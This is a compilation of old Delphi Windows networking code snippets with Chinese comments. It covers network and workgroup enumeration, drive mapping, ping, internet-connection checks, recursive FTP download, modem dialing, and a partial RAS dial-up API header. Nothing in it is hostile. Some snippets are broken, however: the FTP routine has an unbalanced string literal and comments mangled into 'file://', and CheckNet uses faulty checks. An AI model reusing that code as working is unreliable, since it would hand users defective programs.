Res := WNetOpenEnum( RESOURCE_GLOBALNET, RESOURCETYPE_DISK,

RESOURCEUSAGE_CONTAINER, Nil,lphEnum);

if Res <> NO_ERROR then exit;//执行失败

Count := $FFFFFFFF;//不限资源数目

BufSize := 8192;//缓冲区大小设置为8K

GetMem(Buf, BufSize);//申请内存，用于获取工作组信息

Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize);//获取网络类型信息

//资源列举完毕 //执行失败

if ( Res = ERROR_NO_MORE_ITEMS ) or (Res <> NO_ERROR ) then Exit;

P := TNetResourceArray(Buf);

for i := 0 to Count - 1 do//记录各个网络类型的信息

begin

List.Add(p^.lpRemoteName);

Inc(P);

end;

Res := WNetCloseEnum(lphEnum); //关闭一次列举

if Res <> NO_ERROR then exit; //执行失败

Result := True;

FreeMem(Buf); //释放内存

end;

{=================================================================

功 能: 映射网络驱动器

参 数:

NetPath: 想要映射的网络路径

Password: 访问密码

Localpath 本地路径

返回值: 成功: True 失败: False;

备 注:

版 本:

1.0 2002/10/03 09:24:00

=================================================================}

Function NetAddConnection(NetPath: Pchar; PassWord: Pchar

;LocalPath: Pchar): Boolean;

var

Res: Dword;

begin

Result := False;

Res := WNetAddConnection(NetPath,Password,LocalPath);

if Res <> No_Error then exit;

Result := True;

end;

{=================================================================

功 能: 检测网络状态

参 数:

IpAddr: 被测试网络上主机的IP地址或名称，建议使用Ip

返回值: 成功: True 失败: False;

备 注:

版 本:

1.0 2002/10/03 09:40:00

=================================================================}

Function CheckNet(IpAddr: string): Boolean;

type

PIPOptionInformation = ^TIPOptionInformation;

TIPOptionInformation = packed record

TTL: Byte; // Time To Live (used for traceroute)

TOS: Byte; // Type Of Service (usually 0)

Flags: Byte; // IP header flags (usually 0)

OptionsSize: Byte; // Size of options data (usually 0, max 40)

OptionsData: PChar; // Options data buffer

end;

PIcmpEchoReply = ^TIcmpEchoReply;

TIcmpEchoReply = packed record

Address: DWord; // replying address

Status: DWord; // IP status value (see below)

RTT: DWord; // Round Trip Time in milliseconds

DataSize: Word; // reply data size

Reserved: Word;

Data: Pointer; // pointer to reply data buffer

Options: TIPOptionInformation; // reply options

end;

TIcmpCreateFile = function: THandle; stdcall;

TIcmpCloseHandle = function(IcmpHandle: THandle): Boolean; stdcall;

TIcmpSendEcho = function(

IcmpHandle: THandle;

DestinationAddress: DWord;

RequestData: Pointer;

RequestSize: Word;

RequestOptions: PIPOptionInformation;

ReplyBuffer: Pointer;

ReplySize: DWord;

Timeout: DWord

): DWord; stdcall;

const

Size = 32;

TimeOut = 1000;

var

wsadata: TWSAData;

Address: DWord; // Address of host to contact

HostName, HostIP: String; // Name and dotted IP of host to contact

Phe: PHostEnt; // HostEntry buffer for name lookup

BufferSize, nPkts: Integer;

pReqData, pData: Pointer;

pIPE: PIcmpEchoReply; // ICMP Echo reply buffer

IPOpt: TIPOptionInformation; // IP Options for packet to send

const

IcmpDLL = 'icmp.dll';

var

hICMPlib: HModule;

IcmpCreateFile : TIcmpCreateFile;

IcmpCloseHandle: TIcmpCloseHandle;

IcmpSendEcho: TIcmpSendEcho;

hICMP: THandle; // Handle for the ICMP Calls

begin

// initialise winsock

Result:=True;

if WSAStartup(2,wsadata) <> 0 then begin

Result:=False;

halt;

end;

// register the icmp.dll stuff

hICMPlib := loadlibrary(icmpDLL);

if hICMPlib <> null then begin

@ICMPCreateFile := GetProcAddress(hICMPlib, 'IcmpCreateFile');

@IcmpCloseHandle:= GetProcAddress(hICMPlib, 'IcmpCloseHandle');

@IcmpSendEcho:= GetProcAddress(hICMPlib, 'IcmpSendEcho');

if (@ICMPCreateFile = Nil) or (@IcmpCloseHandle = Nil) or (@IcmpSendEcho = Nil) then begin

Result:=False;

halt;

end;

hICMP := IcmpCreateFile;

if hICMP = INVALID_HANDLE_VALUE then begin

Result:=False;

halt;

end;

end else begin

Result:=False;

halt;

end;

// ------------------------------------------------------------

Address := inet_addr(PChar(IpAddr));

if (Address = INADDR_NONE) then begin

Phe := GetHostByName(PChar(IpAddr));

if Phe = Nil then Result:=False

else begin

Address := longint(plongint(Phe^.h_addr_list^)^);

HostName := Phe^.h_name;

HostIP := StrPas(inet_ntoa(TInAddr(Address)));

end;

end

else begin

Phe := GetHostByAddr(@Address, 4, PF_INET);

if Phe = Nil then Result:=False;

end;

if Address = INADDR_NONE then

begin

Result:=False;

end;

// Get some data buffer space and put something in the packet to send

BufferSize := SizeOf(TICMPEchoReply) + Size;

GetMem(pReqData, Size);

GetMem(pData, Size);

GetMem(pIPE, BufferSize);

FillChar(pReqData^, Size, $AA);

pIPE^.Data := pData;

// Finally Send the packet

FillChar(IPOpt, SizeOf(IPOpt), 0);

IPOpt.TTL := 64;

NPkts := IcmpSendEcho(hICMP, Address, pReqData, Size,

@IPOpt, pIPE, BufferSize, TimeOut);

if NPkts = 0 then Result:=False;

// Free those buffers

FreeMem(pIPE); FreeMem(pData); FreeMem(pReqData);

// --------------------------------------------------------------

IcmpCloseHandle(hICMP);

FreeLibrary(hICMPlib);

// free winsock

if WSACleanup <> 0 then Result:=False;

end;

{=================================================================

功 能: 检测计算机是否上网

参 数: 无

返回值: 成功: True 失败: False;

备 注: uses Wininet

版 本:

1.0 2002/10/07 13:33:00

=================================================================}

function InternetConnected: Boolean;

const

// local system uses a modem to connect to the Internet.

INTERNET_CONNECTION_MODEM = 1;

// local system uses a local area network to connect to the Internet.

INTERNET_CONNECTION_LAN = 2;

// local system uses a proxy server to connect to the Internet.

INTERNET_CONNECTION_PROXY = 4;

// local system's modem is busy with a non-Internet connection.

INTERNET_CONNECTION_MODEM_BUSY = 8;

var

dwConnectionTypes : DWORD;

begin

dwConnectionTypes := INTERNET_CONNECTION_MODEM+ INTERNET_CONNECTION_LAN

+ INTERNET_CONNECTION_PROXY;

Result := InternetGetConnectedState(@dwConnectionTypes, 0);

end;

//关闭网络连接

function NetCloseAll:boolean;

const

NETBUFF_SIZE=$208;

type

NET_API_STATUS=DWORD;

LPByte=PByte;

var

dwNetRet :DWORD;

i :integer;

dwEntries :DWORD;

dwTotalEntries :DWORD;

szClient :LPWSTR;

dwUserName :DWORD;

Buff :array[0..NETBUFF_SIZE-1]of byte;

Adword :array[0..NETBUFF_SIZE div 4-1] of dword;

NetSessionEnum:function ( ServerName:LPSTR;

Reserved:DWORD;

Buf:LPByte;

BufLen:DWORD;

ConnectionCount:LPDWORD;

ConnectionToltalCount:LPDWORD ):NET_API_STATUS;

stdcall;

NetSessionDel:function ( ServerName:LPWSTR;

UncClientName: LPWSTR ;

UserName: dword):NET_API_STATUS;

stdcall;

LibHandle : THandle;

begin

Result:=false;

try

{ 加载 DLL }

LibHandle := LoadLibrary('svrapi.dll');

try

{ 如果加载失败，LibHandle = 0.}

if LibHandle = 0 then

raise Exception.Create('不能加载SVRAPI.DLL');

{ DLL 加载成功，取得到 DLL 输出函数的连接然后调用 }

@NetSessionEnum := GetProcAddress(LibHandle, 'NetSessionEnum');

@NetSessionDel := GetProcAddress(LibHandle, 'NetSessionDel');

if (@NetSessionEnum = nil)or(@NetSessionDel=nil) then

RaiseLastWin32Error { 连接函数失败 }

else

begin

dwNetRet := NetSessionEnum( nil,$32, @Buff,

NETBUFF_SIZE, @dwEntries,

@dwTotalEntries );

if dwNetRet = 0 then

begin

Result := true;

for i:=0 to dwTotalEntries-1 do

begin

Move(Buff,Adword,NETBUFF_SIZE);

szClient:=LPWSTR(Adword[0]);

dwUserName := Adword[2];

dwNetRet := NetSessionDel( nil,szClient,dwUserName);

if( dwNetRet <> 0 ) then

begin

Result := false;

break;

end;

Move(Buff[26],Buff[0],NETBUFF_SIZE-(i+1)*26);

end

end

else

Result := false;

end;

finally

FreeLibrary(LibHandle); // Unload the DLL.

end;

except

end;

end;

end.

//错误信息常量

unit Head;

interface

const

C_Err_GetLocalIp = '获取本地ip失败';

C_Err_GetNameByIpAddr = '获取主机名失败';

C_Err_GetSQLServerList = '获取SQLServer服务器失败';

C_Err_GetUserResource = '获取共享资失败';

C_Err_GetGroupList = '获取所有工作组失败';

C_Err_GetGroupUsers = '获取工作组中所有计算机失败';

C_Err_GetNetList = '获取所有网络类型失败';

C_Err_CheckNet = '网络不通';

C_Err_CheckAttachNet = '未登入网络';

C_Err_InternetConnected ='没有上网';

C_Txt_CheckNetSuccess = '网络畅通';

C_Txt_CheckAttachNetSuccess = '已登入网络';

C_Txt_InternetConnected ='上网了';

implementation

end.


使用ftp控件下载一个目录
delphi中的nmftp控件中Download函数只能下载一个文件，没有提供一个下载整个目录（包含子目录）的函数。

我编写了个实现目录下载功能的方法，需要用到该功能的用户可参考一下。

file://目录下载

function tftp.ex_download(remote_dir,local_dir:string):boolean;

var

i,j,count1:integer;

att,ss:string;

current_dir:string;

temp_dir:string;

begin

try begin

NMFTP1.ChangeDir(remote_dir);

current_dir:=remote_dir;

temp_dir:=copy(current_dir,2,length(current_dir));

if not DirectoryExists(local_dir) then CreateDir(local_dir);

if not directoryexists(local_dir+temp_dir) then createdir(local_dir+temp_dir);

nmftp1.ParseList:=true;

NMftp1.list;

count1:=nmftp1.FTPDirectoryList.name.Count;

for i:=0 to count1-1 do begin

file://必须

NMFTP1.ChangeDir(current_dir);

nmftp1.list;

ss:=nmftp1.FTPDirectoryList.name.Strings[i];

att:=nmftp1.FTPDirectoryList.Attribute.Strings[i];

if (copy(pchar(att),1,1)<>'d')and(copy(pchar(att),1,1)<>'D') then begin

if not DirectoryExists(local_dir) then CreateDir(local_dir);

NMFTP1.Download(current_dir+ss,local_dir+temp_dir+ss);

end

else begin

if not directoryexists(local_dir+temp_dir+ss) then createdir(local_dir+temp_dir+ss);

file://递归调用

ex_download(remote_dir+ss+',local_dir);

end;

end;

result:=true;

end

except

On E:Exception do begin

result:=false;

end;

end;

end;


编程实现拨号网络连接及FTP应用
《计算机世界

出版日期: 20000821

编程实现拨号网络连接及FTP应用

河南煤炭工业厅信息中心 李克利

本文介绍了Windows下如何在程序中加入拨号网络,如何自己编写

程序实现FTP功能。

Windows本身带有拨号网络功能。由于拨号网络不是一个可执行

文件,所以不能用 " WinExec 可执行文件"的方式来打开。要启动拨

号网络,需要用 Explorer ,方法如下:

WinExec(‘Explorer::

{20D04FE0 3AEA 1069 A2D8 08002B30309D}:

{992CFFA0-F557 101A 88EC 00DD010CCC48}',

SW_SHOWNA);

但若是要启动拨号网络中的某一个连接,则需借助rundll.exe 及

rnaui.dll来启动,方法如下(假定连接名称为MyFtpNet):

WinExec(‘rundll rnaui.dll,RnaDial MyFtpNet',SW_SHOWNA);

这样程序运行到此命令时,将会弹出拨号网络连接MyFtpNet窗口,

输入用户名、密码等信息即可登录,如想更加方便,则可对此连接编写

脚本文件,不需要用户输入任何信息, 使程序自动登录。

在Delphi中具有可用的FTP控件,所以使FTP编程将会变得极其方

便。下面我们对编写FTP应用的Form进行设计:

添加TNMFTP控件:NMFTP1

添加Label控件:Label1、Label2、Label3、Label4、Label5、La

bel6

Label1.Caption = ‘主机名称'

Label2.Caption = ‘主机端口号'

Label3.Caption = ‘用户名'

Label4.Caption = ‘用户口令'

Label5.Caption = ‘代理服务器'

Label6.Caption = ‘代理端口号'

添加Edit控件:HostTxt(FTP主机名)、PortTxt(FTP主机端口)、U

serTxt(用户名)、PassTxt(用户口令)、ProxyServerTxt(代理服务器

地址)、ProxyPortTxt(代理服务器端口)

添加CheckBox控件:CheckBox1CheckBox1.Caption = ‘使用代理

服务器'

添加Button控件:Button1(连FTP主机)、Button2(断开FTP主机)

、Button3(列FTP目录)

Button1.Caption = ‘连接'

Button2.Caption = ‘断开'

Button3.Caption = ‘列目录'

将以上控件以友好界面方式在Form中进行放置。

编写Button1的Click事件为:

procedure TForm1.Button1Click(Sender: TObject);

begin

If CheckBox1.Checked then

Begin

NMFTP1.Proxy := ProxyserverTxt.Text;

NMFTP1.ProxyPort := StrToInt(ProxyportTxt.Text);

End;

NMFTP1.Host := HostTxt.Text;

NMFTP1.Port := StrToInt(PortTxt.Text);

NMFTP1.Timeout := 5000;

NMFTP1.UserID := UserTxt.Text;

NMFTP1.Password := PassTxt.Text;

try

NMFTP1.Connect;

except

On E:Exception do

writeln(E.message);

end

end;

编写Button2的Click事件为:

procedure TForm1.Button2Click(Sender: TObject);

begin

NMFTP1.Disconnect;

end;

编写Button3的Click事件为:

procedure TForm1.Button3Click(Sender: TObject);

begin

try

NMFTP1.List;

except

end;

end;

另外FTP控件还具有其他功能,如:MakeDirectory(创建目录)、Re

moveDir(删除目录)、Rename(文件更名)、Delete(删除文件)、Uploa

d(上载文件)、Download(下载文件)等,在此不再讲述,大家如需要编

写这些功能,可自己增加。

本程序在Windows98+Delphi5.0下调试通过。


New Page 1

DDDDDDD


拨号Modem
来自：ahxia, 时间：01-8-24 13:26:00, ID：605771

刚刚做了一段东西,应该不是太难:

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls;

type

TForm1 = class(TForm)

Edit_PhoneNumber: TEdit;

btnOpen: TButton;

btnClose: TButton;

Edit_CommPort: TEdit;

procedure btnOpenClick(Sender: TObject);

procedure btnCloseClick(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

hCommFile: THandle;

implementation

{$R *.dfm}

procedure TForm1.btnOpenClick(Sender: TObject);

var

i: DWORD;

PhoneNum: string;

begin

PhoneNum := 'ATDT'+Edit_PhoneNumber.Text + #13+#10;

hCommFile := CreateFile(PChar(Edit_CommPort.Text),

GENERIC_WRITE,

0,nil,

OPEN_EXISTING,

FILE_ATTRIBUTE_NORMAL,0);

if hCommFile = INVALID_HANDLE_VALUE then

begin

ShowMessage('Cannot open Port: '+Edit_CommPort.Text);

exit;

end;

i := 0;

if not WriteFile(hCommFile,

PChar(PhoneNum)^,

Length(PhoneNum),

i,

nil) then

begin

ShowMessage('Write Port error: '+Edit_CommPort.Text);

exit;

end;

end;

procedure TForm1.btnCloseClick(Sender: TObject);

begin

CloseHandle(hCommFile);

end;

end.

其实核心就是向 comm 口里写 atdt + 电话号

如果想挂断可以用 CloseHandle或者 ath0 ...


一个简单的拨号控件
unit Dialer;

interface

uses

SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,

Forms, Dialogs;

type

TComPort = (dpCOM1,dpCOM2,dpCOM3,dpCOM4);

TMethod = (dmTone,dmPulse);

TDialer = class(TComponent)

private

{ Private declarations }

FComPort : TComPort;

FNumberToDial : string;

FConfirm : boolean;

FMethod : TMethod;

protected

{ Protected declarations }

public

{ Public declarations }

procedure Execute;

published

property ComPort : TComPort read FComPort

write FComPort;

property Confirm : boolean read FConfirm

write FConfirm;

property Method : TMethod read FMethod

write FMethod;

property NumberToDial : string read FNumberToDial

write FNumberToDial;

{ Published declarations }

end;

procedure Register;

implementation

procedure Register;

begin

RegisterComponents('Samples', [TDialer]);

end;

procedure TDialer.Execute;

var

s : string;

CId : Integer;

Status : Integer;

Buf : array[1..32] of Char;

begin

if FConfirm then

begin

if MessageDlg('About to dial the number '+FNumberToDial+'. Are you sure?',

mtConfirmation, [mbYes,mbNo], 0)=mrNo then Exit;

end;

{Create a string to send to modem}

s:=Concat('ATDT',FNumberToDial,^M^J);

if FMethod=dmPulse then s[4]:='P';

{Open Com Port}

StrPCopy(@Buf,'COM ');

Buf[4]:=Chr(49+Ord(FComPort));

CId:=OpenComm(@Buf,512,512);

if CId<0 then

begin

MessageDlg('Unable to open '+StrPas(@Buf),mtError,

[mbOk], 0);

Exit;

end;

{Send phone number to modem}

StrPCopy(@Buf,s);

Status:=WriteComm(CId,@Buf,StrLen(@Buf));

if Status>=0 then

begin

MessageDlg('Pick up the phone',mtInformation,

[mbOk], 0);

WriteComm(CId,'ATH'^M^J,5);

end

else

MessageDlg('Unable to dial number',mtError,

[mbOk], 0);

{Close communication port}

CloseComm(CId);

end;

end.

使用举例：

procedure TForm1.Button1Click(Sender: TObject);

var

TempDialer : TDialer;

begin

TempDialer:=TDialer.Create(Self);

with TempDialer do

begin

ComPort:=dpCom4;

Confirm:=true;

Method:=dmTone;

NumberToDial:='1(222)333-4444';

Execute;

Free;

end;

end;


DialUp
(****************************************** |******************************************

* DIALUP, telefonicke pripojeni site * |* DIALUP, dial-up networking component *

* komponenta pro Delphi 3 (32b) * |* for Delphi 3 (32b) *

* (c) 1998 BEALsoft * |* (c) 1998 BEALsoft *

* v1.0 * |* v1.0 *

*________________________________________* |*________________________________________*

* !! TATO KOMPONENTA JE ZDARMA !! * |* !! THIS COMPONENT IS FREE !! *

****************************************** |******************************************)

// Kontakt na autora // Contact to author :

// aberka@usa.net, ICQ UIN 2365308, http://members.xoom.com/aberka

// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

// See README.TXT for details, description of properties and methods

// Prectete si CTIMNE.TXT, kde jsou popsany vsechny dulezite funkce a vlastnosti

// Thanx to Davide Moretti for his RAS API header (Some code in this component

// was written by him). You can reach him via e-mail: dmoretti@iper.net

unit DialUp;

interface

uses

SysUtils, Windows, Dialogs, Classes, ExtCtrls, Forms, Messages;

{******************************************************}

{******************************************************}

{******************************************************}

// RAS API header by Davide Moretti

{******************************************************}

{******************************************************}

{******************************************************}

(*RASAPI*){* Copyright (c) 1992-1995, Microsoft Corporation, all rights reserved

(*RASAPI*)**

(*RASAPI*)** ras.h

(*RASAPI*)** Remote Access external API

(*RASAPI*)** Public header for external API clients

(*RASAPI*)*}

(*RASAPI*)

(*RASAPI*){ Delphi conversion by Davide Moretti <dmoretti@iper.net> }

(*RASAPI*){ Note: All functions and structures defaults to Ansi. If you want to use

(*RASAPI*) Unicode structs and funcs, use the names ending with 'W' }

(*RASAPI*)

(*RASAPI*)const

(*RASAPI*){ These are from lmcons.h }

(*RASAPI*) DNLEN = 15; // Maximum domain name length

(*RASAPI*) UNLEN = 256; // Maximum user name length

(*RASAPI*) PWLEN = 256; // Maximum password length

(*RASAPI*) NETBIOS_NAME_LEN = 16; // NetBIOS net name (bytes)

(*RASAPI*)

(*RASAPI*) RAS_MaxDeviceType = 16;

(*RASAPI*) RAS_MaxPhoneNumber = 128;

(*RASAPI*) RAS_MaxIpAddress = 15;

(*RASAPI*) RAS_MaxIpxAddress = 21;

(*RASAPI*) RAS_MaxEntryName = 256;

(*RASAPI*) RAS_MaxDeviceName = 128;

(*RASAPI*) RAS_MaxCallbackNumber = RAS_MaxPhoneNumber;

(*RASAPI*)

(*RASAPI*)type

(*RASAPI*) LPHRasConn = ^THRasConn;

(*RASAPI*) THRasConn = Longint;

(*RASAPI*)

(*RASAPI*){* Identifies an active RAS connection. (See RasEnumConnections) *}

(*RASAPI*) LPRasConnW = ^TRasConnW;

(*RASAPI*) TRasConnW = record

(*RASAPI*) dwSize : Longint;

(*RASAPI*) hrasconn : THRasConn;

(*RASAPI*) szEntryName : Array[0..RAS_MaxEntryName] of WideChar;

(*RASAPI*) szDeviceType : Array[0..RAS_MaxDeviceType] of WideChar;

(*RASAPI*) szDeviceName : Array[0..RAS_MaxDeviceName] of WideChar;

(*RASAPI*) end;

(*RASAPI*)

(*RASAPI*) LPRasConnA = ^TRasConnA;

(*RASAPI*) TRasConnA = record

(*RASAPI*) dwSize : Longint;

(*RASAPI*) hrasconn : THRasConn;

(*RASAPI*) szEntryName : Array[0..RAS_MaxEntryName] of AnsiChar;

(*RASAPI*) szDeviceType : Array[0..RAS_MaxDeviceType] of AnsiChar;

(*RASAPI*) szDeviceName : Array[0..RAS_MaxDeviceName] of AnsiChar;

(*RASAPI*) end;

(*RASAPI*)

(*RASAPI*) LPRasConn = ^TRasConn;

(*RASAPI*) TRasConn = TRasConnA;

(*RASAPI*)

(*RASAPI*)const

(*RASAPI*){* Enumerates intermediate states to a connection. (See RasDial) *}

(*RASAPI*) RASCS_PAUSED = $1000;

(*RASAPI*) RASCS_DONE = $2000;

(*RASAPI*)

(*RASAPI*)type

(*RASAPI*) LPRasConnState = ^TRasConnState;

(*RASAPI*) TRasConnState = Integer;

(*RASAPI*)

(*RASAPI*)const

(*RASAPI*) RASCS_OpenPort = 0;

(*RASAPI*) RASCS_PortOpened = 1;

(*RASAPI*) RASCS_ConnectDevice = 2;

(*RASAPI*) RASCS_DeviceConnected = 3;

(*RASAPI*) RASCS_AllDevicesConnected = 4;

(*RASAPI*) RASCS_Authenticate = 5;

(*RASAPI*) RASCS_AuthNotify = 6;

(*RASAPI*) RASCS_AuthRetry = 7;

(*RASAPI*) RASCS_AuthCallback = 8;

(*RASAPI*) RASCS_AuthChangePassword = 9;

(*RASAPI*) RASCS_AuthProject = 10;

(*RASAPI*) RASCS_AuthLinkSpeed = 11;

(*RASAPI*) RASCS_AuthAck = 12;

(*RASAPI*) RASCS_ReAuthenticate = 13;

(*RASAPI*) RASCS_Authenticated = 14;

(*RASAPI*) RASCS_PrepareForCallback = 15;

(*RASAPI*) RASCS_WaitForModemReset = 16;

(*RASAPI*) RASCS_WaitForCallback = 17;

(*RASAPI*) RASCS_Projected = 18;

(*RASAPI*) RASCS_StartAuthentication = 19;

(*RASAPI*) RASCS_CallbackComplete = 20;

(*RASAPI*) RASCS_LogonNetwork = 21;

(*RASAPI*)

(*RASAPI*) RASCS_Interactive = RASCS_PAUSED;

(*RASAPI*) RASCS_RetryAuthentication = RASCS_PAUSED + 1;

(*RASAPI*) RASCS_CallbackSetByCaller = RASCS_PAUSED + 2;

(*RASAPI*) RASCS_PasswordExpired = RASCS_PAUSED + 3;

(*RASAPI*)

(*RASAPI*) RASCS_Connected = RASCS_DONE;

(*RASAPI*) RASCS_Disconnected = RASCS_DONE + 1;

(*RASAPI*)

(*RASAPI*)type

(*RASAPI*){* Describes the status of a RAS connection. (See RasConnectionStatus)*}

(*RASAPI*) LPRasConnStatusW = ^TRasConnStatusW;

(*RASAPI*) TRasConnStatusW = record

(*RASAPI*) dwSize : Longint;

(*RASAPI*) rasconnstate : TRasConnState;

(*RASAPI*) dwError : LongInt;

(*RASAPI*) szDeviceType : Array[0..RAS_MaxDeviceType] of WideChar;

(*RASAPI*) szDeviceName : Array[0..RAS_MaxDeviceName] of WideChar;

(*RASAPI*) end;

(*RASAPI*)

(*RASAPI*) LPRasConnStatusA = ^TRasConnStatusA;

(*RASAPI*) TRasConnStatusA = record

(*RASAPI*) dwSize : Longint;

(*RASAPI*) rasconnstate : TRasConnState;

(*RASAPI*) dwError : LongInt;

(*RASAPI*) szDeviceType : Array[0..RAS_MaxDeviceType] of AnsiChar;

(*RASAPI*) szDeviceName : Array[0..RAS_MaxDeviceName] of AnsiChar;

(*RASAPI*) end;

(*RASAPI*)

(*RASAPI*) LPRasConnStatus = ^TRasConnStatus;

(*RASAPI*) TRasConnStatus = TRasConnStatusA;

(*RASAPI*)

(*RASAPI*){* Describes connection establishment parameters. (See RasDial)*}

(*RASAPI*) LPRasDialParamsW = ^TRasDialParamsW;

(*RASAPI*) TRasDialParamsW = record

(*RASAPI*) dwSize : LongInt;

(*RASAPI*) szEntryName : Array[0..RAS_MaxEntryName] of WideChar;

(*RASAPI*) szPhoneNumber : Array[0..RAS_MaxPhoneNumber] of WideChar;

(*RASAPI*) szCallbackNumber : Array[0..RAS_MaxCallbackNumber] of WideChar;

(*RASAPI*) szUserName : Array[0..UNLEN] of WideChar;

(*RASAPI*) szPassword : Array[0..PWLEN] of WideChar;

(*RASAPI*) szDomain : Array[0..DNLEN] of WideChar;

(*RASAPI*) end;

(*RASAPI*)

(*RASAPI*) LPRasDialParamsA = ^TRasDialParamsA;

(*RASAPI*) TRasDialParamsA = record

(*RASAPI*) dwSize : LongInt;

(*RASAPI*) szEntryName : Array[0..RAS_MaxEntryName] of AnsiChar;

(*RASAPI*) szPhoneNumber : Array[0..RAS_MaxPhoneNumber] of AnsiChar;

(*RASAPI*) szCallbackNumber : Array[0..RAS_MaxCallbackNumber] of AnsiChar;

(*RASAPI*) szUserName : Array[0..UNLEN] of AnsiChar;

(*RASAPI*) szPassword : Array[0..PWLEN] of AnsiChar;

(*RASAPI*) szDomain : Array[0..DNLEN] of AnsiChar;

(*RASAPI*) end;

(*RASAPI*)

(*RASAPI*) LPRasDialParams = ^TRasDialParams;

(*RASAPI*) TRasDialParams = TRasDialParamsA;

(*RASAPI*)

(*RASAPI*){* Describes extended connection establishment options. (See RasDial)*}

(*RASAPI*) LPRasDialExtensions = ^TRasDialExtensions;

(*RASAPI*) TRasDialExtensions = record

(*RASAPI*) dwSize : LongInt;

(*RASAPI*) dwfOptions : LongInt;

(*RASAPI*) hwndParent : HWND;

(*RASAPI*) reserved : LongInt;

(*RASAPI*) end;

(*RASAPI*)

(*RASAPI*)const

(*RASAPI*){* 'dwfOptions' bit flags.*}

(*RASAPI*) RDEOPT_UsePrefixSuffix = $00000001;

(*RASAPI*) RDEOPT_PausedStates = $00000002;

(*RASAPI*) RDEOPT_IgnoreModemSpeaker = $00000004;

(*RASAPI*) RDEOPT_SetModemSpeaker = $00000008;

(*RASAPI*) RDEOPT_IgnoreSoftwareCompression = $00000010;

(*RASAPI*) RDEOPT_SetSoftwareCompression = $00000020;

(*RASAPI*)

(*RASAPI*)

(*RASAPI*)type

(*RASAPI*)

(*RASAPI*){* Describes an enumerated RAS phone book entry name. (See RasEntryEnum)*}

(*RASAPI*) LPRasEntryNameW = ^TRasEntryNameW;

(*RASAPI*) TRasEntryNameW = record

(*RASAPI*) dwSize : Longint;

(*RASAPI*) szEntryName : Array[0..RAS_MaxEntryName] of WideChar;

(*RASAPI*) end;

(*RASAPI*)

(*RASAPI*) LPRasEntryNameA = ^TRasEntryNameA;

(*RASAPI*) TRasEntryNameA = record

(*RASAPI*) dwSize : Longint;

(*RASAPI*) szEntryName : Array[0..RAS_MaxEntryName] of AnsiChar;

(*RASAPI*) end;

(*RASAPI*)

(*RASAPI*) LPRasEntryName = ^TRasEntryName;

(*RASAPI*) TRasEntryName = TRasEntryNameA;

(*RASAPI*)

(*RASAPI*){* Protocol code to projection data structure mapping.*}

(*RASAPI*) LPRasProjection = ^TRasProjection;

(*RASAPI*) TRasProjection = Integer;

(*RASAPI*)

(*RASAPI*)const

(*RASAPI*) RASP_Amb = $10000;

(*RASAPI*) RASP_PppNbf = $803F;

(*RASAPI*) RASP_PppIpx = $802B;

(*RASAPI*) RASP_PppIp = $8021;

(*RASAPI*)

(*RASAPI*)

(*RASAPI*)type

(*RASAPI*){* Describes the result of a RAS AMB (Authentication Message Block)

(*RASAPI*)** projection. This protocol is used with NT 3.1 and OS/2 1.3 downlevel

(*RASAPI*)** RAS servers.*}

(*RASAPI*) LPRasAmbW = ^TRasAmbW;

(*RASAPI*) TRasAmbW = record

(*RASAPI*) dwSize : Longint;

(*RASAPI*) dwError : Longint;

(*RASAPI*) szNetBiosError : Array[0..NETBIOS_NAME_LEN] of WideChar;

(*RASAPI*) bLana : Byte;

(*RASAPI*) end;

(*RASAPI*)

(*RASAPI*) LPRasAmbA = ^TRasAmbA;

(*RASAPI*) TRasAmbA = record

(*RASAPI*) dwSize : Longint;

(*RASAPI*) dwError : Longint;

(*RASAPI*) szNetBiosError : Array[0..NETBIOS_NAME_LEN] of AnsiChar;

(*RASAPI*) bLana : Byte;

(*RASAPI*) end;

(*RASAPI*)

(*RASAPI*) LPRasAmb = ^TRasAmb;

(*RASAPI*) TRasAmb = TRasAmbA;

(*RASAPI*)

(*RASAPI*){* Describes the result of a PPP NBF (NetBEUI) projection.*}

(*RASAPI*) LPRasPppNbfW = ^TRasPppNbfW;

(*RASAPI*) TRasPppNbfW = record

(*RASAPI*) dwSize : Longint;

(*RASAPI*) dwError : Longint;

(*RASAPI*) dwNetBiosError : Longint;

(*RASAPI*) szNetBiosError : Array[0..NETBIOS_NAME_LEN] of WideChar;

(*RASAPI*) szWorkstationName : Array[0..NETBIOS_NAME_LEN] of WideChar;

(*RASAPI*) bLana : Byte;

(*RASAPI*) end;

(*RASAPI*)

(*RASAPI*) LPRasPppNbfA = ^TRasPppNbfA;

(*RASAPI*) TRasPppNbfA = record

(*RASAPI*) dwSize : Longint;

(*RASAPI*) dwError : Longint;

(*RASAPI*) dwNetBiosError : Longint;

(*RASAPI*) szNetBiosError : Array[0..NETBIOS_NAME_LEN] of AnsiChar;

(*RASAPI*) szWorkstationName : Array[0..NETBIOS_NAME_LEN] of AnsiChar;

(*RASAPI*) bLana : Byte;

(*RASAPI*) end;

(*RASAPI*)

(*RASAPI*) LpRaspppNbf = ^TRasPppNbf;

(*RASAPI*) TRasPppNbf = TRasPppNbfA;

(*RASAPI*)

(*RASAPI*){* Describes the results of a PPP IPX (Internetwork Packet Exchange)

(*RASAPI*)** projection.*}

(*RASAPI*) LPRasPppIpxW = ^TRasPppIpxW;

(*RASAPI*) TRasPppIpxW = record

(*RASAPI*) dwSize : Longint;

(*RASAPI*) dwError : Longint;

(*RASAPI*) szIpxAddress : Array[0..RAS_MaxIpxAddress] of WideChar;

(*RASAPI*) end;

(*RASAPI*)

(*RASAPI*) LPRasPppIpxA = ^TRasPppIpxA;

(*RASAPI*) TRasPppIpxA = record

(*RASAPI*) dwSize : Longint;

(*RASAPI*) dwError : Longint;

(*RASAPI*) szIpxAddress : Array[0..RAS_MaxIpxAddress] of AnsiChar;

(*RASAPI*) end;

(*RASAPI*)

(*RASAPI*) LPRasPppIpx = ^TRasPppIpx;

(*RASAPI*) TRasPppIpx = TRasPppIpxA;

(*RASAPI*)

(*RASAPI*){* Describes the results of a PPP IP (Internet) projection.*}

(*RASAPI*) LPRasPppIpW = ^TRasPppIpW;

(*RASAPI*) TRasPppIpW = record

(*RASAPI*) dwSize : Longint;

(*RASAPI*) dwError : Longint;

(*RASAPI*) szIpAddress : Array[0..RAS_MaxIpAddress] of WideChar;

(*RASAPI*)

